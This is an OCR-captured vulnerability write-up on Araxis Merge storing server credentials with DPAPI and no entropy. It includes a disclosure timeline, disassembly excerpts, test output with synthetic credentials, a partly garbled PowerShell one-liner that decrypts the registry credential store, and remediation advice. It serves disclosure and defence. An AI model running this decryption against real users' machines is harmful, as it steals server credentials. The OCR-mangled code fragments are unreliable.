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Ié;;r-ep .. .
cw CWE-522: Insufficiently Protected Credentials

CVSS v4.0 6.8 ( AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N )
CVSSv3.1 5.5( AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N )

Affected Araxis Merge for Windows 2011.4074 through 2026.0

Fixed in 2026.1

Reporter Kelvin Winborne (grepStrength)

Summary

What: credentials stored via DPAPI with pOptionalEntropy setto NULL
Who: anyone running Merge on Windows who stored server credentials
Impact: any code running as that user recovers all of them in plaintext
Affected: 2011.4074 through 2026.0 (approx. fifteen years of releases)
Tested On: Windows Server 2022 and Windows 11 Pro

Status: fixed in 2026.1 (Vendor Advisory)

Introduction

As a security researcher, I tend to poke holes in anything I come across. I can't help it.

What sparks my interest is anything that either touches the internet or handles credentials. Usually I
don't find bugs worth reporting, but from time to time, I come across something too juicy to leave it

be. That was the case with Araxis Merge, a commonly used file diff tool.
You might be thinking "File diff tool? What's the big deal?"

The "big deal" is that it's also meant to perform file/text diff across servers.
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How does it do that?
grep

It connects to them with stored credentials.

Disclosure Timeline

2026-08-18 - I contacted Araxis Ltd. to report that I discovered a bug via their customer support

form
2026-08-19 - Araxis Ltd. replied + I submitted the full technical report

2026-08-21 - Araxis Ltd. confirmed the central finding + they identified the affected range as
2011.4074-2026.0

2026-08-21 - Araxis Ltd. offered a free Araxis Merge Professional license as thanks, which I

accepted
2026-09-16 - CVE-2026-92680 was assigned
2026-09-23 - Araxis Merge 2026.1 released

2026-09-23 - This post + PoC were published

The Bug

The Vulnerable Credential Persistence Routine

So how did I come across this bug?
I followed my standard methodology for any binary that has credential handling capabilities.
Methodology

1. Open the binary in a disassembler (I personally use Binary Ninja)
2. Search for the string "pass", "cred", etc.
3. Select anything that appears to be an identifier

4. Follow the Cross References back to the function that uses the string
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5. Analyze the function for how it handles credentials
grep

Symbols Q Search symbols ~ * aa = PE= Sirings =
Name Address ~|Section® © pass

sub_148378d28 Bx148378d28 .text Address ~ Type Length Refs

sub_148378deB Bx148378ded .text
- 7 A 2 v W W
sub_14B370F88 Bx148376F8B . text 1487ala5@ ASCIT 28 SaveFirewallPassword

sub_148378fde  Bx148378fd8 .text 1487a1a68 ASCIT 29 xFirewallNeedsUserAndPassword

sub_148378feB Bx148378fed .text 1487a58a8 ASCII 16 FirewallPassword

sub:mawmaa 8x1483718a8 .text 1487c76a8 UTF-16 38 ProxyBypassList

sub_148371128 8x148371128 .text 1467e5448 UTF-16 12 PASSED

sub_1483711868 ©Bx148371188 .text 14878338 o erge.passwords

sub_1483712088 8x148371288 .text 14878378 UTF-16 18 Passwords

sub_148371208 Bx148371298 .text 1487eefad ASCII 92 NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes
sub_1483712a8 BXMBBZHEB o 1487f66e8 ASCII 34 Passphrase required for this entry

z:tj:::;lgig :ﬂzgg;]:ig zx 14876718 ASCII 28 Incorrect passphrase

sub_1483724e8 Bx1483724e8 .text 1487f67a8  ASCIT 28 Failed to process passphrase

sub_148372948 Bx148372948 .text 1487f67f8 ASCII 38 Too many incorrect passphrases

Sub:1433]3'\ga B8x148373188 .text 148981f48 ASCII 38 .?AVCEditPasswordDialog@merge@araxisee

sub_148373488 Bx148373488 .text 1489bBB68 ASCIT al csFirewallPasswordWWT

sub_1483734a8 Bx1483734a8 .text 1489ba5d3  ASCII 25 wclSaveFirewallPasswordWi

sub_148373588 Bx148373588 .text 1489cdh58 ASCIT B password

sub_148373518 RBX'MBE'?E'E'\B -text 1489cf272  ASCII 6d Gets the username and password to use when accessing a server.>

= 1489cf2b2  ASCIT 63 Sets the username and password to use when accessing a server.
sub_148373578 8x148373578 .text

sub_1483735e8 Bx1483735e8 .text

sub_148373d78 Bx148373d78 .text | 142434 strings hifiden by filter options
sub_148373d98 Bx148373d98 .text = Clear Filter Opfions
j_sub_14849f5. Bx148373dde .text

sub_148373de@ 8x148373ded .text

sub_148373ff8 Bx148373ffB .text

sub_1483748aB Bx1483748a8 .text

sub_148374128 Bx148374128 .text

sub_148374188 Bx148374188 .text

sub_148374248 Bx148374248 .text

sub_148374618 Bx148374618 .text

sub_148374888 Bx148374888 .text

sub_148374928 Bx148374928 .text

sub_1483749cB  Bx1483749cB . text

[nSub 148375378 @x1483753F0 itext =
Cross References b4
» Filter (1)

~ Code References {1}
- sub_148374f88 {1}

|& 14837587¢ lea rdx, [rel exi

This is pretty basic, but it gets me right to credential handling functions way more often than it has

any right to. Strings are the easiest things to pivot from in a binary, and any software that handles

credentials almost always names them explicitly.

From there, I saw the API call for CryptProtectData :

14837585F

14837585f if (rex_5 '= 8)

148375889 rax_3 = CryptProtectData(&var_118, u"com.araxis.merge.passwords
148375889 Evar_de, B, &var_138)

148375889

148375891 if (rcx_5 == 8 rax_3 '= 8)

148375897 wcharl1e const* const rax_4 = u"Softwarel\Araxis\Merge\7.1
14837589 void* r8_2 = nullptr

148375689

Also contained within this same function is a registry handle for -Oxffffffff80000001 , whichis
the signed representation of 0x80000001 , i.e. HKEY_CURRENT_USER . The ciphertext is written

unmodified to:
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1483758ea
14837512f if (RegCreateKeyExW(hKey: -Bxffffffffepeeesg],. lpSubKey, Reserved: B,
‘|4I339E‘I%E : lpClass: nullptr, dwODptions: REG_OPTION_RESERVED,
14837512fF samDesired: KEY_ALL_ACCESS, lpSecurityAttributes: nullptr,
14837512F phkResult: &arg_18, &lpdwDisposition) == NO_ERROR)

148375151 RegSetValueExW{hKey: arg_18, lpValueMName: u“"Passwords”, Reserved: B8,
148375151 dwType: REG_BINARY, lpData, cbData)

14837515e RegCloseKey({hKey: arg_18)

1483757 5e

That third argument in CryptProtectData Itold you to note? It's for pOptionalEntropy , which
you can read about in Microsoft Learn, and as you can seeissetto 0 or NULL . This means that
the ciphertext can be decrypted by any caller within that user's context. There's no application-

produced secret, no user-produced secret, and no consent required.

To compound this problem:

¢ The plaintext contains passwords verbatim without hashing, salting, or secondary encryption.

e The plaintext uses a deterministic, self-describing, length-prefixed serialization, which makes

bulk extraction reliable.

The culmination of these configurations is that a single CryptProtectData callis the complete

and total cryptographic protection for this application's credential store.

https://grepstrength.com/research/araxis-merge
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What They Got Right

I want to be fair to Araxis Ltd. They made two deliberate choices that limit the exposure of this

vulnerability:

e dwFlags does notinclude CRYPTPROTECT_LOCAL_MACHINE , which means the credential

storage blob is per user and not to the machine. Other users on the same host cannot decrypt it.

¢ The storage is under HKCU and not HKLM, which means the ciphertext is not readable by just any

unprivileged user.

https://grepstrength.com/research/araxis-merge
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The Storage Format
grep
The decrypted plaintext blob is in structured binary format. It opens with a four-byte magic ( 067M )

followed by a fixed header that carries a record count, the number of fields per record, and the
schema/version field. You'll know the structure is right when a parser built from this consumes the

full 962-byte test blob exactly, with no trailing bytes.

Validation

I tested on two separate machines with two separate sets of permissions:

0S MERGE ACCOUNT ACCOUNT LEVEL ELEVATED RESULT

Windows 2026.0 Administrator Built-in Yes Credentials
Server 2022 (7.2) Administrator recovered

Windows 11 2026.0 NotAnAdmin Standard user Credentials
Pro (7.2) recovered

Both machines belong to grepStrength Security and every credential within this post is synthetic.

The hostnames don't resolve to anything and the passwords aren't meant to protect anything.

Linitially tested this on Windows Server 2022 with FLARE-VM simply because this is my main RE
machine. It comes with the Administrator account as a default, which is usually fine. For Araxis
Merge, however, I wanted to ensure that my validation of this bug mirrors the intended Windows-

specific userbase, who are Windows 10 and 11 users. (Note: I did not test macOS.)

First, I ensured that my Windows 11 Pro machine was not running as an administrator or in any

elevated context:

https://grepstrength.com/research/araxis-merge
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= C:KNINDGWS\E:ystemEZ > net localgroup Administrators
Aliasypape Administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

Administrator
asdf
The command completed successfully.

DESKTOP-IHUU2HQ ©8/18/2026 16:57:04
PS C:\WINDOWS\system32 > whoami
desktop—ihtdu2hq\notanadmin
DESKTOP-IHUU2HQ ©8/18/2826 16:58:56
PS C:\WINDOWS\system32 > |

Then:

PS C:\WINDOWS\system32 > "User: $(whoami)"; "Elevated: $(([Security.Principal. W1ndowsPr1nc1pa1][5ecur1ty Principal.Windo

wsIdentity]: :GetCurrent()). IsInRole([SECurlty Drlnc1pal W1ndow5Bu11tInRole] :Administrator))”; "In Administrators group
$([bﬂol](whoam1 /groups | Select-String 'S-1-5-3: ey, $((Get-1tempruperty HKLM: \SOFTWARE\Microsoft\Windows N
\CurrentVe ) .ProductName) $((Get-ItemProperty 'HHLM:\SOFTW/ t\Windows NT\CurrentVersion').DisplayVersion

) buile $([Env1ronment] :0SVersion.Version.Build)"

User: desktop-ihuuZhq\notanadmin

Elevated: False

In Administrators group: False

0S: Windows 18 Pro 25H2 build 26288

DESKTOP-IHUU2HQ @8/18/2026 17:01:36

PS C:\WINDOWS\system32 > |

I confirmed that I was using the 2026.0 build of Araxis Merge:

https://grepstrength.com/research/araxis-merge
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PS C:\WINDOWS\system32 > "C:\Progra s\Araxis\Araxis Merge\Merge.exe"; Get-FileHash SHA256; (Get-It
em $m).VersionInfo

re
Algoriéam P Hash Path

SHA256 B961FEAAB39EGF3257A269B23U2D58FA321CE9S55FFCOEBC6B2656USFAAT29U36 C:\Program Files\Araxis\Araxi..

Comments -

CompanyName : Araxis Ltd

FileBuildPart : B

FileDescription : Araxis Merge
FileMajorPart : 26

FileMinorPart : 8

FileName : C:\Program Files\Araxis\Araxis Merge\Merge.exe
FilePrivatePart :

FileVersion : 26, 8, 9, 0
InternalName : merge.exe

IsDebug : False

IsPatched : False

IsPrivateBuild : False

IsPreRelease : False

IsSpecialBuild : False

Language : English (United Kingdom)
LegalCopyright : Copyright @ 1993-2026 Araxis Ltd. All rights reserved.
LegalTrademarks : Araxis, Merge
OriginalFilename : Merge.exe

PrivateBuild :

ProductBuildPart : B

ProductMajorPart : 26

ProductMinorPart : B

ProductName : Araxis Merge
ProductPrivatePart : ©

PraductVersion - 26 B 8.0
SpecialBuild : 2026/6/19 11:3uU:45,387
rileversionraw ST T ]
ProductVersionRaw : 26.8.0.8

DESKTOP-IHYU2HQ 88/18/2026 17:86:55

SHA-256 Hash: B961FBAAB39E6F3257A269B2342D58FA321CE955FFCOE8C6B265645FAA729436

Then it was ensured that any stored value was cleared:

PS C:\WINDOWS\system32 > Remove-ItemProperty HHCU: \Software\Araxis\Merge\7.1" -N
-Date 0)] after delete:"; reg query "HKCU\Software\Araxis\Merge\7.1" /v Passwords
[2026-08-18T17:10:02.6703309-087:00] after delete:

ERROR: The system was unable to find the specified registry key or value.
DESKTOP-IHUUZHQ ©8/18/2826 17:18:082

Next, I created some canary credentials on this machine to pwn:
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Araxis Merge options
g Strength

Research Contact

Credentials

Tooling Training About

Text comparisons

- Display

-~ Line pairing

-Syntax highlighting
Encoding

- Editing

e Formatting

Merge uses these credentials when accessing a file directly from an SCM
system, and when populating the version lists available from Versions buttons.

Server User name Passw... Default for

Line expressions
Block expressions

File comparisons
- Fonts and colours

File types

- Printing

\\test\\server\\11
\\test\\server
\\test\\server
\\test\\server\4«
\\test\\server\\55

\\test\\server\\66

NotWibbly
NotBubbly
NotTummy

notthedoctor

notdahlecks
notseafood

PoC

After creating said canary credentials, I then ran the following PowerShell one-liner to decrypt the
credential storage blob and parse the storage format. It uses only documented Windows APIs and

requires no third-party tooling:

Add-Type -AssemblyName System.Security; $p=[Security.Cryptography.ProtectedData]::Unpro

The end result:

System.Security; [Secu:lty Cryptography.ProtectedData]: :Unprotect((Ge
7.1").Passwords 'C n X; usg; 20); ( p.Length)

- 16; [Text,Encoding]::Unlcode.ﬁetstr1ngi 2); 2}; 0..(5f.Count/u
4+1];Username [ U+2] ; Password L i 3]}}|Format—TablE r

PS C: \NINDOWS\system32 > Add-Type

t-ItemProperty ' 50 X1
i [Elt[onverter] ToIntEH{ 3]
1) |%{[PSCustomObject]@{Server [

Password

\\test\\server\\11l NotWibbly Wobbly

\\test\\server\\22 NotBubbly Wubbly

\\test\\server\\33 NotTummy Wummy

\\test\\server\\Ui notthedoctor 123WibblyWobblyTimeyWimeyStuf+
\\test\\server\\55 notdahlecks TERMINATETERMINATETERMINATEAAAAAAHHHHH
\\test\\server\\66 notseafood FishFingers? DoFishHaveFingers?

Server Username

DESKTOP-IHUU2ZHQ DB/13/2925 17:18:81

¢ the full credential set

¢ standard, non-elevated user

https://grepstrength.com/research/araxis-merge
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¢ no third-party tooling required... just the built-in PowerShell

.
-

grep

Impact

If an end user looks at Araxis's documentation, they might get the wrong idea.

Araxis Merge Overview Features Documentation Download

07 R macos) Credentials

Merge for Windows 2026.0 User Guide

» Introduction
» Installation

» File Comparisons

» Folder Comparisons To provide anonymo to a Subversion serve d an entry to the table for the server with a blank

User name and Passw
v Customizing Merge

This is technically true. Credentials are stored encrypted and in the Windows Registry. What is

missing from this, however, is that the protection stops at the user account.

https://grepstrength.com/research/araxis-merge
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Basically, any attacker can recover every credential Merge has stored, within that user's context, on

a Wind5R system. Moreover, the registry path holding them has been stable for fifteen years.

"But... you need to be on the machine anyway to exploit this?" you might be saying. You're right.

From a CVSS standpoint, this is Medium severity at most.

For average end users, who are potentially individual sysadmins or developers working on their own
personal machines, this is less of a problem. If your Windows account is compromised, then you

have a bigger problem than your Merge credentials.

The mainissue is if this is deployed in any SMB or large enterprise, that same attacker wouldn't just
have a single Windows user account, they'd also have the credentials for any number of servers.
This is a massive lateral movement risk. You've potentially given a threat actor access to your server

environment.

What This Isn't

To avoid being hyperbolic, I want to be precise about what this isn't.

I proposed CVSS 3.1 5.5. If you accept the Scope:Changed argument, on the grounds that the
servers those credentials unlock fall under a different security authority than Merge itself, it's 6.5.
That's as high as I'd personally take it, but I specifically went with 5.5. CVSS scores the vulnerability
rather than the chained attack that would follow it. The CNA independently arrived at the same

vector.

In order to reach 7.1, I'd have to claim that no privileges are required and that the scope changes.
In order to reach 8.8, I'd have to claim integrity and availability impact on the remote systems while
the vector is network-exploitable. The one aspect of the CIA triad this directly affects is
Confidentiality. Of course, Integrity and Availability can be affected, but this is indirect and

downstream.

This vulnerability isn't remotely exploitable, it requires an already compromised Windows user

account, and doesn't elevate privileges.

Remediation

https://grepstrength.com/research/araxis-merge
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What To Do
grep
Offer end users an optional passphrase. This would be the entropy parameter to

CryptProtectData , and allows the secret to be controlled by the end user rather than the

software.

Why Not Entropy Alone

o If the entropy value is hardcoded in the software binary, anyone who can read HKCU can also

read the binary, so the entropy is recoverable too. This is essentially security through obscurity.

e DPAPI's trust boundary is still the user account, and the inclusion of entropy alone doesn't move

that boundary.

What Araxis Did
Araxis Ltd. to their credit, fixed this with finality by:
e Removing the credential storing capability entirely.

¢ Removing the credential-using file-system plugins.

¢ All legacy credential stores on Windows and macOS are deleted on every launch.

Conclusion

I want to be clear. This is a bug class and not a Merge-specific product defect. Any Windows

application storing credentials using user-context DPAPI alone has the exact same problem.
Merge just happens to be where I was looking.

I have to hand it to Araxis Ltd. They were extremely communicative and cooperative. Within a week
of my initial bug report, they acknowledged it, agreed with the central finding, and committed to a
fix.

After seeing many bug hunters chasing vendors for months without any acknowledgement, this was

honestly an easier engagement than I expected.
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